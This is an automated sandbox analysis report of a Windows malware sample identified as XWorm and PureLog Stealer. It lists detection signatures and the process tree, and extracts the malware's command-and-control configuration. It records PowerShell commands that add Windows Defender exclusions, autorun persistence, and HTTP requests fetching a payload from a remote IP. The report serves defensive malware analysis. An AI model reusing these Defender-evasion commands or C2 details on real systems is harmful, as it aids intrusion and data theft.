Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe

Overview

General Information

Sample name:SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe
Analysis ID:1429251
MD5:4e640bd1e98bec927682ac50f0d86e2a
SHA1:c1c4b8f8d3b8b692e76ed4f1df134b1c88694517
SHA256:98a9021f55ec887a271dd6b5bef911bdbf09514530db7abdb887d5282aaf7631
Tags:exe
Infos:

Detection

PureLog Stealer, XWorm
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Antivirus / Scanner detection for submitted sample
Antivirus detection for URL or domain
Antivirus detection for dropped file
Found malware configuration
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for dropped file
Multi AV Scanner detection for submitted file
Yara detected AntiVM3
Yara detected PureLog Stealer
Yara detected XWorm
.NET source code contains potential unpacker
Adds a directory exclusion to Windows Defender
Bypasses PowerShell execution policy
C2 URLs / IPs found in malware configuration
Injects a PE file into a foreign processes
Loading BitLocker PowerShell Module
Machine Learning detection for dropped file
Machine Learning detection for sample
Protects its processes via BreakOnTermination flag
Sample uses string decryption to hide its real strings
Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Yara detected Costura Assembly Loader
Yara detected Generic Downloader
Allocates memory with a write watch (potentially for evading sandboxes)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates a start menu entry (Start Menu\Programs\Startup)
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Drops PE files
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found inlined nop instructions (likely shell or obfuscated code)
HTTP GET or POST without a user agent
Internet Provider seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
PE / OLE file has an invalid certificate
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sample file is different than original file name gathered from version info
Sigma detected: Change PowerShell Policies to an Insecure Level
Sigma detected: CurrentVersion Autorun Keys Modification
Sigma detected: Powershell Defender Exclusion
Sigma detected: Startup Folder File Write
Stores files to the Windows start menu directory
Uses 32bit PE files
Uses code obfuscation techniques (call, push, ret)
Yara signature match

Classification

Process Tree

  • System is w10x64
  • SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe (PID: 6664 cmdline: "C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe" MD5: 4E640BD1E98BEC927682AC50F0D86E2A)
    • SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe (PID: 5064 cmdline: "C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe" MD5: 4E640BD1E98BEC927682AC50F0D86E2A)
      • powershell.exe (PID: 5800 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe' MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)
        • conhost.exe (PID: 2724 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • powershell.exe (PID: 5688 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe' MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)
        • conhost.exe (PID: 420 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • powershell.exe (PID: 7048 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming\XClient.exe' MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)
        • conhost.exe (PID: 4136 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • powershell.exe (PID: 2056 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'XClient.exe' MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)
        • conhost.exe (PID: 5184 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
  • daqfbrlrs.exe (PID: 2488 cmdline: "C:\Users\user\AppData\Roaming\daqfbrlrs.exe" MD5: 4E640BD1E98BEC927682AC50F0D86E2A)
    • daqfbrlrs.exe (PID: 3408 cmdline: "C:\Users\user\AppData\Roaming\daqfbrlrs.exe" MD5: 4E640BD1E98BEC927682AC50F0D86E2A)
  • daqfbrlrs.exe (PID: 6776 cmdline: "C:\Users\user\AppData\Roaming\daqfbrlrs.exe" MD5: 4E640BD1E98BEC927682AC50F0D86E2A)
    • daqfbrlrs.exe (PID: 420 cmdline: "C:\Users\user\AppData\Roaming\daqfbrlrs.exe" MD5: 4E640BD1E98BEC927682AC50F0D86E2A)
  • cleanup

Malware Threat Intel

Provided by

NameDescriptionAttributionBlogpost URLsLink
XWormMalware with wide range of capabilities ranging from RAT to ransomware.No Attributionhttps://malpedia.caad.fkie.fraunhofer.de/details/win.xworm

Malware Configuration

Threatname: Xworm

{"C2 url": ["91.92.248.52"], "Port": "7000", "Aes key": "<123456789>", "SPL": "<Xwormmm>", "Install file": "USB.exe", "Version": "XWorm V5.3"}

Yara Signatures

Memory Dumps

SourceRuleDescriptionAuthorStrings
0000000D.00000002.2596900103.0000000007231000.00000004.00000800.00020000.00000000.sdmpJoeSecurity_CosturaAssemblyLoaderYara detected Costura Assembly LoaderJoe Security
    0000000A.00000002.2466687008.0000000003155000.00000004.00000800.00020000.00000000.sdmpJoeSecurity_XWormYara detected XWormJoe Security
      0000000A.00000002.2466687008.0000000003155000.00000004.00000800.00020000.00000000.sdmpMALWARE_Win_AsyncRATDetects AsyncRATditekSHen
      • 0x112d9:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0
      • 0x234b1:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0
      • 0x3eca9:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0
      • 0x11376:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1
      • 0x2354e:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1
      • 0x3ed46:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1
      • 0x1148b:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36
      • 0x23663:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36
      • 0x3ee5b:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36
      • 0x10a55:$cnc4: POST / HTTP/1.1
      • 0x22c2d:$cnc4: POST / HTTP/1.1
      • 0x3e425:$cnc4: POST / HTTP/1.1
      0000000D.00000002.2572125164.0000000005257000.00000004.00000800.00020000.00000000.sdmpJoeSecurity_CosturaAssemblyLoaderYara detected Costura Assembly LoaderJoe Security
        0000000D.00000002.2554540962.000000000362B000.00000004.00000800.00020000.00000000.sdmpJoeSecurity_CosturaAssemblyLoaderYara detected Costura Assembly LoaderJoe Security
          Click to see the 25 entries

          Unpacked PEs

          SourceRuleDescriptionAuthorStrings
          13.2.daqfbrlrs.exe.53110d8.9.raw.unpackJoeSecurity_CosturaAssemblyLoaderYara detected Costura Assembly LoaderJoe Security
            13.2.daqfbrlrs.exe.3608854.0.unpackJoeSecurity_CosturaAssemblyLoaderYara detected Costura Assembly LoaderJoe Security
              0.2.SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe.65c0000.11.raw.unpackJoeSecurity_CosturaAssemblyLoaderYara detected Costura Assembly LoaderJoe Security
                13.2.daqfbrlrs.exe.52e90b8.7.raw.unpackJoeSecurity_CosturaAssemblyLoaderYara detected Costura Assembly LoaderJoe Security
                  0.2.SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe.3390260.2.unpackJoeSecurity_XWormYara detected XWormJoe Security
                    Click to see the 23 entries

                    Sigma Signatures

                    System Summary

                    barindex
                    Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet
                    Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe', CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe', CommandLine|base64offset|contains: L^rbs'2, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe", ParentImage: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe, ParentProcessId: 5064, ParentProcessName: SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe', ProcessId: 5800, ProcessName: powershell.exe
                    Sigma detected: Change PowerShell Policies to an Insecure Level
                    Source: Process startedAuthor: frack113: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe', CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe', CommandLine|base64offset|contains: L^rbs'2, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe", ParentImage: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe, ParentProcessId: 5064, ParentProcessName: SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe', ProcessId: 5800, ProcessName: powershell.exe
                    Sigma detected: CurrentVersion Autorun Keys Modification
                    Source: Registry Key setAuthor: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Roaming\daqfbrlrs.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe, ProcessId: 6664, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\daqfbrlrs
                    Sigma detected: Powershell Defender Exclusion
                    Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe', CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe', CommandLine|base64offset|contains: L^rbs'2, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe", ParentImage: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe, ParentProcessId: 5064, ParentProcessName: SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe', ProcessId: 5800, ProcessName: powershell.exe
                    Sigma detected: Startup Folder File Write
                    Source: File createdAuthor: Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research): Data: EventID: 11, Image: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe, ProcessId: 5064, TargetFilename: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\XClient.lnk
                    Sigma detected: Non Interactive PowerShell Process Spawned
                    Source: Process startedAuthor: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe', CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe', CommandLine|base64offset|contains: L^rbs'2, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe", ParentImage: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe, ParentProcessId: 5064, ParentProcessName: SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe', ProcessId: 5800, ProcessName: powershell.exe

                    Snort Signatures

                    ⊘No Snort rule has matched

                    Joe Sandbox Signatures

                    Click to jump to signature section

                    Show All Signature Results

                    AV Detection

                    barindex
                    Antivirus / Scanner detection for submitted sample
                    Source: SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeAvira: detected
                    Antivirus detection for URL or domain
                    Source: http://pesterbdd.com/images/Pester.pngURL Reputation: Label: malware
                    Antivirus detection for dropped file
                    Source: C:\Users\user\AppData\Roaming\XClient.exeAvira: detection malicious, Label: HEUR/AGEN.1323752
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeAvira: detection malicious, Label: HEUR/AGEN.1323752
                    Found malware configuration
                    Source: 0000000A.00000002.2466687008.0000000003155000.00000004.00000800.00020000.00000000.sdmpMalware Configuration Extractor: Xworm {"C2 url": ["91.92.248.52"], "Port": "7000", "Aes key": "<123456789>", "SPL": "<Xwormmm>", "Install file": "USB.exe", "Version": "XWorm V5.3"}
                    Multi AV Scanner detection for dropped file
                    Source: C:\Users\user\AppData\Roaming\XClient.exeReversingLabs: Detection: 55%
                    Source: C:\Users\user\AppData\Roaming\XClient.exeVirustotal: Detection: 69%Perma Link
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeReversingLabs: Detection: 55%
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeVirustotal: Detection: 69%Perma Link
                    Multi AV Scanner detection for submitted file
                    Source: SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeReversingLabs: Detection: 55%
                    Source: SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeVirustotal: Detection: 69%Perma Link
                    Machine Learning detection for dropped file
                    Source: C:\Users\user\AppData\Roaming\XClient.exeJoe Sandbox ML: detected
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeJoe Sandbox ML: detected
                    Machine Learning detection for sample
                    Source: SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeJoe Sandbox ML: detected
                    Sample uses string decryption to hide its real strings
                    Source: 10.2.daqfbrlrs.exe.31693a8.2.raw.unpackString decryptor: 91.92.248.52
                    Source: 10.2.daqfbrlrs.exe.31693a8.2.raw.unpackString decryptor: 7000
                    Source: 10.2.daqfbrlrs.exe.31693a8.2.raw.unpackString decryptor: <123456789>
                    Source: 10.2.daqfbrlrs.exe.31693a8.2.raw.unpackString decryptor: <Xwormmm>
                    Source: 10.2.daqfbrlrs.exe.31693a8.2.raw.unpackString decryptor: XWorm V5.3
                    Source: 10.2.daqfbrlrs.exe.31693a8.2.raw.unpackString decryptor: USB.exe
                    Source: 10.2.daqfbrlrs.exe.31693a8.2.raw.unpackString decryptor: %AppData%
                    Source: 10.2.daqfbrlrs.exe.31693a8.2.raw.unpackString decryptor: XClient.exe
                    Source: SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeStatic PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
                    Source: SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeStatic PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
                    Source: Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdbSHA256e source: SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe, 00000000.00000002.2003746490.00000000066E0000.00000004.08000000.00040000.00000000.sdmp, SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe, 00000000.00000002.1991317996.0000000003247000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe, 00000000.00000002.1992545692.0000000004DF7000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe, 00000000.00000002.1992545692.0000000004E6F000.00000004.00000800.00020000.00000000.sdmp, daqfbrlrs.exe, 0000000A.00000002.2500970516.0000000004C9D000.00000004.00000800.00020000.00000000.sdmp, daqfbrlrs.exe, 0000000A.00000002.2466687008.00000000030D7000.00000004.00000800.00020000.00000000.sdmp, daqfbrlrs.exe, 0000000D.00000002.2554540962.00000000035B6000.00000004.00000800.00020000.00000000.sdmp, daqfbrlrs.exe, 0000000D.00000002.2572125164.0000000005077000.00000004.00000800.00020000.00000000.sdmp, daqfbrlrs.exe, 0000000D.00000002.2554540962.00000000035D1000.00000004.00000800.00020000.00000000.sdmp, daqfbrlrs.exe, 0000000D.00000002.2572125164.00000000050EF000.00000004.00000800.00020000.00000000.sdmp
                    Source: Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdb source: SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe, 00000000.00000002.2003746490.00000000066E0000.00000004.08000000.00040000.00000000.sdmp, SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe, 00000000.00000002.1991317996.0000000003247000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe, 00000000.00000002.1992545692.0000000004DF7000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe, 00000000.00000002.1992545692.0000000004E6F000.00000004.00000800.00020000.00000000.sdmp, daqfbrlrs.exe, 0000000A.00000002.2500970516.0000000004C9D000.00000004.00000800.00020000.00000000.sdmp, daqfbrlrs.exe, 0000000A.00000002.2466687008.00000000030D7000.00000004.00000800.00020000.00000000.sdmp, daqfbrlrs.exe, 0000000D.00000002.2554540962.00000000035B6000.00000004.00000800.00020000.00000000.sdmp, daqfbrlrs.exe, 0000000D.00000002.2572125164.0000000005077000.00000004.00000800.00020000.00000000.sdmp, daqfbrlrs.exe, 0000000D.00000002.2554540962.00000000035D1000.00000004.00000800.00020000.00000000.sdmp, daqfbrlrs.exe, 0000000D.00000002.2572125164.00000000050EF000.00000004.00000800.00020000.00000000.sdmp
                    Source: Binary string: protobuf-net.pdbSHA256}Lq source: SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe, 00000000.00000002.1991317996.000000000337B000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe, 00000000.00000002.2003229740.0000000006620000.00000004.08000000.00040000.00000000.sdmp, daqfbrlrs.exe, 0000000A.00000002.2466687008.0000000003199000.00000004.00000800.00020000.00000000.sdmp
                    Source: Binary string: protobuf-net.pdb source: SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe, 00000000.00000002.1991317996.000000000337B000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe, 00000000.00000002.2003229740.0000000006620000.00000004.08000000.00040000.00000000.sdmp, daqfbrlrs.exe, 0000000A.00000002.2466687008.0000000003199000.00000004.00000800.00020000.00000000.sdmp
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeCode function: 4x nop then jmp 030944FFh0_2_03094308
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeCode function: 4x nop then jmp 030944FFh0_2_03094318
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeCode function: 4x nop then jmp 03098208h0_2_03098158
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeCode function: 4x nop then cmp dword ptr [ebp-20h], 00000000h0_2_03094028
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeCode function: 4x nop then cmp dword ptr [ebp-20h], 00000000h0_2_03094030
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeCode function: 4x nop then jmp 030944FFh0_2_0309458B
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeCode function: 4x nop then jmp 03098208h0_2_03098158
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeCode function: 4x nop then jmp 04F444FFh10_2_04F4458B
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeCode function: 4x nop then cmp dword ptr [ebp-20h], 00000000h10_2_04F44030
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeCode function: 4x nop then cmp dword ptr [ebp-20h], 00000000h10_2_04F44028
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeCode function: 4x nop then jmp 04F48208h10_2_04F48158
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeCode function: 4x nop then jmp 04F444FFh10_2_04F44318
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeCode function: 4x nop then jmp 04F444FFh10_2_04F44308
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeCode function: 4x nop then jmp 04F48208h10_2_04F48158
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeCode function: 4x nop then jmp 031344FFh13_2_03134318
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeCode function: 4x nop then jmp 031344FFh13_2_03134308
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeCode function: 4x nop then jmp 03138208h13_2_03138158
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeCode function: 4x nop then jmp 03138208h13_2_03138158
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeCode function: 4x nop then cmp dword ptr [ebp-20h], 00000000h13_2_03134030
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeCode function: 4x nop then cmp dword ptr [ebp-20h], 00000000h13_2_03134028
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeCode function: 4x nop then jmp 031344FFh13_2_0313458B

                    Networking

                    barindex
                    C2 URLs / IPs found in malware configuration
                    Source: Malware configuration extractorURLs: 91.92.248.52
                    Yara detected Generic Downloader
                    Source: Yara matchFile source: 0.2.SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe.3390260.2.raw.unpack, type: UNPACKEDPE
                    Source: global trafficTCP traffic: 192.168.2.4:49743 -> 91.92.248.52:7000
                    Source: global trafficHTTP traffic detected: GET /sm/Pxgimjrvqqb.wav HTTP/1.1Host: 5.34.182.232Connection: Keep-Alive
                    Source: global trafficHTTP traffic detected: GET /sm/Pxgimjrvqqb.wav HTTP/1.1Host: 5.34.182.232Connection: Keep-Alive
                    Source: global trafficHTTP traffic detected: GET /sm/Pxgimjrvqqb.wav HTTP/1.1Host: 5.34.182.232Connection: Keep-Alive
                    Source: Joe Sandbox ViewASN Name: THEZONEBG THEZONEBG
                    Source: unknownTCP traffic detected without corresponding DNS query: 5.34.182.232
                    Source: unknownTCP traffic detected without corresponding DNS query: 5.34.182.232
                    Source: unknownTCP traffic detected without corresponding DNS query: 5.34.182.232
                    Source: unknownTCP traffic detected without corresponding DNS query: 5.34.182.232
                    Source: unknownTCP traffic detected without corresponding DNS query: 5.34.182.232
                    Source: unknownTCP traffic detected without corresponding DNS query: 5.34.182.232
                    Source: unknownTCP traffic detected without corresponding DNS query: 5.34.182.232
                    Source: unknownTCP traffic detected without corresponding DNS query: 5.34.182.232
                    Source: unknownTCP traffic detected without corresponding DNS query: 5.34.182.232
                    Source: unknownTCP traffic detected without corresponding DNS query: 5.34.182.232
                    Source: unknownTCP traffic detected without corresponding DNS query: 5.34.182.232
                    Source: unknownTCP traffic detected without corresponding DNS query: 5.34.182.232
                    Source: unknownTCP traffic detected without corresponding DNS query: 5.34.182.232
                    Source: unknownTCP traffic detected without corresponding DNS query: 5.34.182.232
                    Source: unknownTCP traffic detected without corresponding DNS query: 5.34.182.232
                    Source: unknownTCP traffic detected without corresponding DNS query: 5.34.182.232
                    Source: unknownTCP traffic detected without corresponding DNS query: 5.34.182.232
                    Source: unknownTCP traffic detected without corresponding DNS query: 5.34.182.232
                    Source: unknownTCP traffic detected without corresponding DNS query: 5.34.182.232
                    Source: unknownTCP traffic detected without corresponding DNS query: 5.34.182.232
                    Source: unknownTCP traffic detected without corresponding DNS query: 5.34.182.232
                    Source: unknownTCP traffic detected without corresponding DNS query: 5.34.182.232
                    Source: unknownTCP traffic detected without corresponding DNS query: 5.34.182.232
                    Source: unknownTCP traffic detected without corresponding DNS query: 5.34.182.232
                    Source: unknownTCP traffic detected without corresponding DNS query: 5.34.182.232
                    Source: unknownTCP traffic detected without corresponding DNS query: 5.34.182.232
                    Source: unknownTCP traffic detected without corresponding DNS query: 5.34.182.232
                    Source: unknownTCP traffic detected without corresponding DNS query: 5.34.182.232
                    Source: unknownTCP traffic detected without corresponding DNS query: 5.34.182.232
                    Source: unknownTCP traffic detected without corresponding DNS query: 5.34.182.232
                    Source: unknownTCP traffic detected without corresponding DNS query: 5.34.182.232
                    Source: unknownTCP traffic detected without corresponding DNS query: 5.34.182.232
                    Source: unknownTCP traffic detected without corresponding DNS query: 5.34.182.232
                    Source: unknownTCP traffic detected without corresponding DNS query: 5.34.182.232
                    Source: unknownTCP traffic detected without corresponding DNS query: 5.34.182.232
                    Source: unknownTCP traffic detected without corresponding DNS query: 5.34.182.232
                    Source: unknownTCP traffic detected without corresponding DNS query: 5.34.182.232
                    Source: unknownTCP traffic detected without corresponding DNS query: 5.34.182.232
                    Source: unknownTCP traffic detected without corresponding DNS query: 5.34.182.232
                    Source: unknownTCP traffic detected without corresponding DNS query: 5.34.182.232
                    Source: unknownTCP traffic detected without corresponding DNS query: 5.34.182.232
                    Source: unknownTCP traffic detected without corresponding DNS query: 5.34.182.232
                    Source: unknownTCP traffic detected without corresponding DNS query: 5.34.182.232
                    Source: unknownTCP traffic detected without corresponding DNS query: 5.34.182.232
